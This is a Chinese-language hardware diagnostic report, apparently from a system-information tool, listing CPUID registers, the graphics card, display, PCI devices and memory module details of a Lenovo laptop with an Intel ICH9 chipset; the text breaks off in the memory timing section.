0x00000000\n00000004\u0026nbsp;\u0026nbsp; 0x04000121\u0026nbsp;\u0026nbsp; 0x01C0003F\u0026nbsp;\u0026nbsp; 0x0000003F\u0026nbsp;\u0026nbsp; 0x00000001\n00000004\u0026nbsp;\u0026nbsp; 0x04000122\u0026nbsp;\u0026nbsp; 0x01C0003F\u0026nbsp;\u0026nbsp; 0x0000003F\u0026nbsp;\u0026nbsp; 0x00000001\n00000004\u0026nbsp;\u0026nbsp; 0x04004143\u0026nbsp;\u0026nbsp; 0x01C0003F\u0026nbsp;\u0026nbsp; 0x00000FFF\u0026nbsp;\u0026nbsp; 0x00000001\n00000005\u0026nbsp;\u0026nbsp; 0x00000040\u0026nbsp;\u0026nbsp; 0x00000040\u0026nbsp;\u0026nbsp; 0x00000003\u0026nbsp;\u0026nbsp; 0x00022220\n00000006\u0026nbsp;\u0026nbsp; 0x00000001\u0026nbsp;\u0026nbsp; 0x00000002\u0026nbsp;\u0026nbsp; 0x00000003\u0026nbsp;\u0026nbsp; 0x00000000\n00000007\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n00000008\u0026nbsp;\u0026nbsp; 0x00000400\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n00000009\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n0000000A\u0026nbsp;\u0026nbsp; 0x07280202\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000503\n0000000B\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n0000000C\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n0000000D\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n80000000\u0026nbsp;\u0026nbsp; 0x80000008\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n80000001\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000001\u0026nbsp;\u0026nbsp; 0x20100000\n80000002\u0026nbsp;\u0026nbsp; 0x65746E49\u0026nbsp;\u0026nbsp; 0x2952286C\u0026nbsp;\u0026nbsp; 0x726F4320\u0026nbsp;\u0026nbsp; 0x4D542865\n80000003\u0026nbsp;\u0026nbsp; 0x44203229\u0026nbsp;\u0026nbsp; 0x43206F75\u0026nbsp;\u0026nbsp; 0x20205550\u0026nbsp;\u0026nbsp; 0x54202020\n80000004\u0026nbsp;\u0026nbsp; 0x30303536\u0026nbsp;\u0026nbsp; 0x20402020\u0026nbsp;\u0026nbsp; 0x30312E32\u0026nbsp;\u0026nbsp; 0x007A4847\n80000005\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n80000006\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x08006040\u0026nbsp;\u0026nbsp; 0x00000000\n80000007\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n80000008\u0026nbsp;\u0026nbsp; 0x00003024\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\n\u0026#8212;\u0026#8212;\u0026#8211;[ 视频 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n显卡\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 产品:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Nvidia GeForce GT 130M ( 512 MB )\n制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 联想\nBIOS:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Version 62.94.71.00.09 (12/16/08)\n总线:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PCI Express x16 @ x1\n驱动:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 6.14.11.7930 (20081216) \u0026#8211; NVIDIA GeForce GT 130M\n显示器\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 产品:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 友达 AUO103C\n制造日期:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2008 年 第 1 周\n最大可视面积:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 13.9 英寸 (31 厘米 x 17 厘米)\n图像宽高比例:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 16 : 9\nGamma:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2.20\n\u0026#8212;\u0026#8212;\u0026#8211;[ PCI设备 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Mobile 4 Series Chipset Memory Controller Hub\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to HOST\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A0017AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Mobile 4 Series Chipset PCI Express Graphics Port\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB Universal Host Controller #4\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB (UHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A0917AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB Universal Host Controller #5\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB (UHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A0A17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB Universal Host Controller #6\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB (UHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A0B17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB2 Enhanced Host Controller #2\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB 2.0 (EHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A0C17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 82801I(ICH9) HD Audio Controller\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Multimedia / Hi-definition Audio\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A0D17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family PCI Express Root Port 1\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family PCI Express Root Port 2\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family PCI Express Root Port 3\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family PCI Express Root Port 4\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family PCI Express Root Port 5\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family PCI Express Root Port 6\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB Universal Host Controller #1\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB (UHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1417AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB Universal Host Controller #2\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB (UHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1517AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB Universal Host Controller #3\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB (UHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1617AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family USB2 Enhanced Host Controller #1\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / USB 2.0 (EHCI)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1717AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 82801 PCI Bridge\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to PCI (Subtractive Decode)\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9M LPC Interface Controller\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bridge / PCI to ISA\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1917AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9M/M-E Mobile SATA AHCI Controller\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Storage / Serial ATA (AHCI 1.0)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1A17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ICH9 Family SMBus Controller\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / SMBus Controller\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3A1D17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; GeForce GT 130M\n制造商:Nvidia\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Display / VGA\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 387A17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Wireless WiFi Link 5100 AGN\n制造商:Intel\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Network / Other\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 12118086h\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Intel\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; IEEE 1394 Host Controller\n制造商:JMicron\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Serial / OHCI FireWire\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 387D17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SD/MMC OHCI Host Controller\n制造商:JMicron\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; System / Other\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 387E17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Standard SD Host Controller\n制造商:JMicron\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; System / SD Host Controller (With DMA)\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 387F17AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; MS Host Controller\n制造商:JMicron\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; System / Other\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 388017AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; xD Host Controller\n制造商:JMicron\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; System / Other\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 388117AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n设备名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NetLink BCM5784M Gigabit Ethernet PCIe\n制造商:Broadcom\n类别:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Network / Ethernet\n子系统ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 387817AAh\n子系统制造商:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Lenovo\n\u0026#8212;\u0026#8212;\u0026#8211;[ 显卡芯片 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n设备ID:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 10DE \u0026#8211; 0652\n\u0026#8212;\u0026#8212;\u0026#8211;[ 存储 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n内存\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DIMM 0:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 镁光 DDR3 1067F MHz 1GB (21 周 / 2009 年)\n模块名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Micron 8JSF12864HY-1G1D1 D1\u0026#8364;,\n序列号:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 0BC42DE3\n模块位宽:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 64 Bits\n模块电压:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SSTL 1.5V\n内存时序(频率-CL-RCD-RP-RAS):\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 457 MHz \u0026#8211; 6 \u0026#8211; 6 \u0026#8211; 6 